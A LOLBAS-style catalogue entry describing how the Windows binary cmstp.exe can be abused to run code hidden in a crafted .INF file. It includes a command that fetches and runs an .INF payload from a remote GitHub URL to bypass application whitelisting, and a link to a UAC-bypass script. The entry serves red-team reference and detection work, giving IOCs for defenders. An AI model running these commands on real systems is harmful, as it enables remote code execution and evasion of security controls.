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Name : Cmstp.exe
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Description : Installs or removes a Connection Manager service profile.
Author : 'Oddvar Moe'
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Created : '2018-05-25'
Commands :
- Command : cmstp.exe /ni /s c:\cmstp\CorpVPN.inf
Description : Silently installs a specially formatted local .INF without creating a desktop icon. The .INF file contains a UnRegisterOCXSection section which executes a .SCT file using scrobj.dll.
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Usecase : Execute code hidden within an inf file. Download and run scriptlets from internet.
Category : Execute
Privileges : User
MitreID : T1191
MitreLink : https://attack.mitre.org/wiki/Technique/T1191
OperatingSystem : Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
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- Command : cmstp.exe /ni /s https://raw.githubusercontent.com/api0cradle/LOLBAS/master/OSBinaries/Payload/Cmstp.inf
Description : Silently installs a specially formatted remote .INF without creating a desktop icon. The .INF file contains a UnRegisterOCXSection section which executes a .SCT file using scrobj.dll.
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Usecase : Execute code hidden within an inf file. Execute code directly from Internet.
Category : AwL bypass
Privileges : User
MitreID : T1191
MitreLink : https://attack.mitre.org/wiki/Technique/T1191
OperatingSystem : Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
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Full Path :
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- Path : C:\Windows\System32\cmstp.exe
- Path : C:\Windows\SysWOW64\cmstp.exe
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Code Sample :
- Code :
Detection :
- IOC : Execution of cmstp.exe should not be normal unless VPN is in use
- IOC : Cmstp.exe communication towards internet and getting files
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Resources :
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- Link : https://twitter.com/NickTyrer/status/958450014111633408
- Link : https://gist.github.com/NickTyrer/bbd10d20a5bb78f64a9d13f399ea0f80
- Link : https://gist.github.com/api0cradle/cf36fd40fa991c3a6f7755d1810cc61e
- Link : https://oddvar.moe/2017/08/15/research-on-cmstp-exe/
- Link : https://gist.githubusercontent.com/tylerapplebaum/ae8cb38ed8314518d95b2e32a6f0d3f1/raw/3127ba7453a6f6d294cd422386cae1a5a2791d71/UACBypassCMSTP.ps1
- Link : https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/cmstp
Acknowledgement :
- Person : Oddvar Moe
Handle : '@oddvarmoe'
- Person : Nick Tyrer
Handle : '@NickTyrer'
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